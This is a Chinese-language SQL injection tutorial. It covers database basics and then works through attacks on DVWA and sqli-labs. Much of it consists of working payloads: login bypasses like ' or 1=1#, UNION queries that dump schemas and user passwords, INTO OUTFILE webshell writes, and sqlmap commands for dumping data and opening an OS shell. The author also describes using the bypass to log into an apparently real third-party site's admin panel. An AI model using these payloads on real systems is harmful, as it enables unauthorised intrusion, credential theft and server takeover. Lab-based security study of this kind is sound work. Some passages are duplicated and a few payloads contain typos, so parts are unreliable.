0x01-SQL注入
SQL注入
数据库分类:
-
关系型数据库
MySQL、MariaDB(MySQL的代替品)、Percona Server(MySQL的代替品)、PostgreSQL、Microsoft Access、 Google Fusion Tables、SQLite、DB2、FileMaker、Oracle、SQL Server、INFORMIX、Sybase、dBASE、Clipper、FoxPro、foshub。
几乎所有的数据库管理系统都配备了一个开放式数据库连接(ODBC)驱动程序,令各个数据库之间得以互相集成。 -
非关系型数据库(NoSQL)
redis、MongoDB、Memcache、HBase、BigTable、Cassandra、CouchDB、Neo4J。
二、区别
关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织
-
优点:
易于维护:都是使用表结构,格式一致;
使用方便:SQL语言通用,可用于复杂查询;
复杂操作:支持SQL,可用于一个表以及多个表之间非常复杂的查询。 -
缺点:
读写性能比较差,尤其是海量数据的高效率读写;
固定的表结构,灵活度稍欠;
高并发读写需求,传统关系型数据库来说,硬盘I/O是一个很大的瓶颈。
非关系型数据库严格上不是一种数据库,应该是一种数据结构化存储方法的集合,可以是文档或者键值对等。
-
优点:
格式灵活:存储数据的格式可以是key,value形式、文档形式、图片形式等等,文档形式、图片形式等等,使用灵活,应用场景广泛,而关系型数据库则只支持基础类型。
速度快:nosql可以使用硬盘或者随机存储器作为载体,而关系型数据库只能使用硬盘;
高扩展性;
成本低:nosql数据库部署简单,基本都是开源软件。 -
缺点:
不提供sql支持,学习和使用成本较高;
无事务处理;
数据结构相对复杂,复杂查询方面稍欠。
非关系型数据库的分类和比较:
key-value型 (针对高性能并发读写场景)
文档型 (针对海量数据访问场景)
列式数据库
图形数据库
常见的数据库,默认端口号:
-
关系型数据库
一、MySql数据库,默认端口是:3306;
二 、Oracle数据库,默认端口号为:1521;
三、Sql Server数据库,默认端口号为:1433;
四、DB2数据库,默认端口号为:5000;
五、PostgreSQL数据库,默认端口号为:5432;
六、国产的DM达梦数据库,默认端口号为:5236。 -
NoSql数据库(非关系型数据库):
一.Redis数据库,默认端口号:6379;
二.Memcached数据库,默认端口号:11211;
三.MongoDB数据库,默认端口号:27017;
MySQL数据库基础语法
增删改查学完即可。
SQL注入原理
Web应用程序向数据传递SQL语句时,未对前端用户输入的参数进行过滤或者说是严格的过滤,就直接将前端用户传递的SQL语句直接带入数据库执行,我们可以构造特殊SQL语句进行注入,导致可以查询数据库数据,修改数据库数据等等。
SQL注入的关键两个条件:
-
用户参数可控,前段用户能够控制输入的参数(SQL语句)
-
前端用户输入的参数(SQL语句)能直接被带入到数据库执行。
两个条件缺一不可:
SQL注入漏洞危害:
- 查询数据库数据
- 修改数据库数据
- POST万能密码注入能绕过登陆认证
- UNION联合注入能直接写Webshell到网站目录
- 控制网站,控制服务器
- SQL注入漏洞原因:
- 网站数据类型处理不当(为对数据类型进行校验和强转)
- 不安全的数据库配置(数据库弱口令,数据库版本存在漏洞)CVE-2016-6662 CVE-2016-6663
- 不合理的查询集处理(UNION联合查询直接输入查询类型)
- 不当的错误处理(mysql_real_escape_string,addslashaes遇到'"null\都会在前面加\转义原本的作用)宽字节注入
- 多个提交处理不当(接收多个参数(REQUEST 只检测 GET ,未检测 POST),多个参数值检测其中个别参数,存在漏网之鱼)
SQL注入的关键两个条件:
- 用户参数可控,前段用户能够控制输入的参数(SQL语句)
- 前端用户输入的参数(SQL语句)能直接被带入到数据库执行。
两个条件缺一不可:
SQL注入漏洞危害:
- 查询数据库数据
- 修改数据库数据
- POST万能密码注入能绕过登陆认证
- UNION联合注入能直接写Webshell到网站目录
- 控制网站,控制服务器
SQL注入漏洞原因:
-
网站数据类型处理不当(为对数据类型进行校验和强转)
-
不安全的数据库配置(数据库弱口令,数据库版本存在漏洞)CVE-2016-6662 CVE-2016-6663
-
不合理的查询集处理(UNION联合查询直接输入查询类型)
-
不当的错误处理(
mysql_real_escape_string,addslashaes遇到'"null\都会在前面加\转义原本的作用)宽字节注入 -
多个提交处理不当(接收多个参数(REQUEST 只检测 GET ,未检测 POST ),多个参数值检测其中个别参数,存在漏网之鱼)
SQL注入分类
根据请求分类:
- GET请求注入
- POST请求注入
- COOKIE请求注入
- SESSION请求注入(二次注入)
根据参数分类:
- 整数型注入
- 字符型注入
- 搜索型注入
根据注入点分类:
- 联合查询注入(UNION注入)
- 报错注入
- 布尔盲注
- 时间盲注
- 堆叠注入
- header 头注入(User-agent,xff,client_ip,cookie)
- 宽字节注入
- urlencode注入
- base64注入
- 二次注入 == 二阶注入
根据数据库分类:
- musql
- mssql == sql-server
- oracle
- mongodb
- access
SQL注入--万能密码
万能密码(POST注入):在不知道用户密码的情况构造特殊用户名直接绕过网站登陆认证,直接访问后台。
admin or 1=1 #

图片中语句有点小问题,以上面代码中的语句为准,登陆后台了

换个浏览器
admin/admin测试,登录失败。

tips:这是一个小岛的网站。
原理
SQL语句
select * from admin where username='$user' and password=md5('$pass')"
在后端语言中他执行的因该是这样的语句。
在测试时我在用户名中构建了admin ' or 1=1 #这样的语句,
将语句结合
select * from admin where username='admin ' or 1=1 # 'and password=md5('$pass')
$user //是后端PHP代码中的变量,我们传递进去的则是 admin ‘ or 1=1 #
# //在PHP中#是注释,同样注释的还有 -- /+
所以只用看前面的
select * from admin where username='admin ' or 1=1 #
上面语句的意思从数据集中的admin表中查找username=admin
但是又会有疑问要是没有admin呢,无妨。
核心还是 or 1=1 #
or 1=1 #与前面的语句,or 或 的意思
连贯就是 // 从数据库中找username是admin的 或者 1=1 那么判断成功,绕过登陆今后台大致是这么理解
简洁描述
select * from admin where username='admin' or 1=1#' and
password=md5('$pass')"
select * from admin where username='admin' or 1=1
变种万能密码
admin' or 1=1#
' or 1=1#
' or ''=''#
' or 'a'='a'#
#' and password=md5('$pass')" //已被#注释不执行
用户名和密码可控情况下
--+ --空格 # mysql单行注入
/**/ 多行注释
用户名有过滤(过滤'")#)不能构造特殊语句也不能绕过,密码可控。
select * from admin where username='admin' and password=md5('$pass')";不能万能
密码;
mysql md5函数问题,在8.0以后没有问题。遇到'"~!@#$%^&*()__+.
select * from admin where username='admin' and password='';
密码输出' or 1=1#
' or 1=1#
环境搭建
使用docker容器
docker search dvwa
docker pull c0ny1/sqli-labs拉取靶场环境

docker run -t -d -p 1080:80 --name "pikachu" area39/dvwa-v1.10:latest
run #运行
-t #后台运行容器
-d #为容器重新分配一个伪输入终端
-p 1080:80 #指定宿主机(本地主机)1080端口为容器的80端口
-- name “” #设置容器名称

访问本地或者内网IP地址+端口

靶场搭建完成(默认账号\密码:admin\password)
选择"SQL Injection"

在框众输入1传参

1.传递的“1”参数被传入到了url栏中,初判get传参注入

靶场实战
手工注入流程:
- 判断url是否存在注入以及注入类型(数字型,字符型)
- 判断字段数,order by 1-n
- 判断回显点,通过联合查询判断回显点
- 通过回显点查询数据(数据库名称,版本,编译操作系统,用户等等)
- 通过回显点查询数据库的数据(所有的库名/表名、字段名)
- 通过回显点查询字段内容数据(加密后的数据)
- 通过网站解密数据(www.cmd5.com一些带有盐值的加密数据够呛)
-
判断是否存在注入
“'”单引号页面报错(在url众%20为空格的编码,%27为单引号编码)在线编码解码
![]()
' and 1=1 --回显正常
![]()
' and 1=2 --回显异常
![]()
存在注入 -
判断字段
' order by 1 -- +
' order by 2 -- +

' order by 3 -- +有且仅有两个字段,3报错说明没有第三个字段。

- 判断回显点,通过联合查询判断回显点
未发现
![]()
改变传参“1”为“0”使页面报错
' union select 123,456 --+
发现123,456出现的位置,这就是两个回显点

- 查库,版本,用户及权限
' union select database(),version() --+
database() #库
version() #版本
user() #查看用户及权限


一般测试只要验证确实存在漏洞即可。还有查表,查字段,并且具有一定权限的还可以增删改等一系列危险操作。
- 查表及字段
' union select 123,group_concat(schema_name) from information_schema.schemata--+
# 使用联合查询,group_concat()串联函数,将“schema_name”中的库名串联起来输出,
# 人话:从information_schema.schemata 中 联合查询 123,串联输出schema_name(参考英语倒装具)
# information_schema固有库,类似目录,人话:目录库
SQL注入--手工注入
Tips:
一般SRC的挖掘中查库已经完全够用,再深入已经违法了。或者在授权的情况下触碰库已经够了,但是再一个完整的渗透测试中这是完完全全不够的。你还要跑库、表、字段,拿账号密码,高权限账号还可以去尝试读、写文件;低权限账号还可以尝试数据库提权。
SQLI-LABS-Less-1
正常访问,? id=1 是要自己传参进去,正常网页如下。

判断当前页面是否存在注入点
使用如下语句 1=2 不成立,报错。存在注入点。
’ and 1=2 --+

判断当前页面字段数
' order by 1--+
' order by 2--+
' order by 3--+
' order by 4--+
//至此4报错,说明只存在3个字段

查看当前页面回显点
0 ’ union select 1,2,3--+
//0的意义是让他当前页面进行报错这样才能回显出1,2,3 0、-1只要是能让他报错的都没问题
//不进行报错的话还是默认先是dump

查看当前页面的数据库、当前用户等等
0’ union select 1,database(),user()--+
0 ‘ union select 1,group_concat(schema_name),3 from information_schema.schemata--+
//查询所有数据库名

查看 security 的表
0 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
1.判断url是否存在注入
id=1 and 1=1%23 #正常
id=1 and 1=2%23 #不正常 数字型
id=1' and 1=1%23 #正常
id=1' and 1=2%23 #不正常 字符型
id=1' '123'='123'%23
'")]}~!@#$%^&* 测试语句是否报错
2.判断字段数
?id=1' order by 4%23 #报错
?id=1' order by 3%23 #正常,说明存在3个字段
3.找回显点
union select 联合查询可以将两个查询语句的结果输出,查询字段数必须相同。默认查询数据有相同
的不显示
union all select 联合查询 显示所有数据
select *from users union all select * from users;
MariaDB [security]> select * from users union all select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
?id=1' union select 1,2,3%23 #没有输出1,2,3 index.php使用if输出第一个结果集,只输出id=1的结果并没有输出union select 1,2,3 结果。
?id=0' union select 1,2,3%23
4.通过mysql函数查询数据库基本信息
?id=0' union select 1,database(),version()%23
database() 显示当前数据库的名字
user() 显示当前数据库连接的用户名
version()显示当前数据库的版本信息
@@datadir 显示数据库数据保存的路径
在/var/lib/mysql/目录下存放所有mysql数据库的数据。
库是以文件夹的形式存在,表是以frm文件形式存在。
@@basedir 显示mysql安装路径
/usr/
@@version_compile_os 显示mariadb数据编译的操作系统
Linux
Mysql5.0及以上存在information_schema自带库,information_schema自带库存在mysql数据
库所有的库名,表名,字段名。
schemata表中schema_name字段存储mysql所有的库名。
tables表中table_schema字段存储所有库名,table_name存放库对应的表名。
columns表中table_schema字段存储所有库名,table_name存放库对应的表名,column_name存在
所有库所有表的字段名。
**concat() **将字符拼接起来 select concat('a','b','c','d') abcd
concat_ws() 将字符拼接起来并指定分割符号 select concat(':',a','b','c','d')a:b:c:d
group_concat() 将多行结果拼接到一行显示出来 select group_concat(username) from users; 就将username字段内容拼接到一行显示出来。
5.通过自带库查询数据库
查询所有库名
?id=0' union select 1,group_concat(schame_name),3 from information_schema.schemata%23
查询库对应的表名
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
查询库对应表的字段名
?id=0' union select 1,group_concat(column_name),3 frominformation_schema.columns where table_schema=database() andtable_name='users'%23
查询库对应表对应字段的数据
?id=0' union select 1,group_concat(username,password),3 from users%23
?id=0' union select 1,group_concat(username,password),3 from security.users%23
?id=0' union select 1,group_concat(username),group_concat(password) from users%23
利用SQL注入联合查询写webshell
secure_file_priv = '' #允许数据库导入导出数据
secure_file_priv = null #不允许数据导入导出数据
secure_file_priv = '/var/lib/mysql/' #只允许在指定目录导入导出数据
@@secure_file_priv #查看secure_file_priv变量的值
在数据库中执行语句,show variables like '%secure_file_priv%';
?id=1' union select 1,2,'' into outfile
'/var/www/html/phpinfo.php'%23
将前面内容导出到/var/www/html/phpinfo.php
into outfile 支持导入多行数据,但是会因为操作系统不同数据可能会发生变化
into dumpfile 支持导入单行数据,但是不会因为操作系统不同数据可能会发生变化
sql注入写webshell条件
- dba权限,root 导入导出权限
- 知道网站的绝对路径
- 网站未对'"做任何限制
SQL注入联合查询写webshell总结
?id=1' union select 1,2,'<?=phpinfo();?>' into outfile'/var/www/html/phpinfo.php'%23
?id=1' union select 1,2,'<?=phpinfo();?>' into dumpfile'/var/www/html/phpinfo.php'%23
?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' lines terminated by '<?=phpinfo();?>'%23
?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' fields terminated by '<?=phpinfo();?>'%23
?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' columns terminated by '<?=phpinfo();?>'%23
?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' lines starting by '<?=phpinfo();?>'%23
SQL注入工具使用
SQLmap
GET注入:
Sqlmap -u ‘http://192.168.11.111?id=1 ’
Sqlmap -u ‘http://192.168.11.111?id=1 ’ –dbs
Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 –tables
Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 –columns
Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 -C 字段 –dump
Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 –dump
Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 –dump
通过数据包注入:
与burp结合使用
Sqlmap -r data.txt
Sqlmap -r data.txt –dbs
Sqlmap -r data.txt -D 数据库名 –tables
Sqlmap -r data.txt -D 数据库名 -T 表名 –columns
Sqlmap -r data.txt -D 数据库名 -T 表名 -C 字段 , –dump
Sqlmap -r data.txt -D 数据库 –dump
Sqlmap -r data.txt -D 数据库名 -T 表名 –dump
执行时优化:
–batch在执行时,自动使用默认的选项(Y/N)
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–proxy=PROXY 使用HTTP代理连接到目标URL
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
注入时常用参数:
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
-u URL, –url=URL 目标URL。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
Getshell参数:
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
–sql-shell 提示交互式SQL的shell
–sql-query=QUERY 要执行的SQL语句
绕过参数:
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–level=LEVEL 执行测试的等级(1-5,默认为1)
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–level=LEVEL 执行测试的等级(1-5,默认为1)





浙公网安备 33010602011771号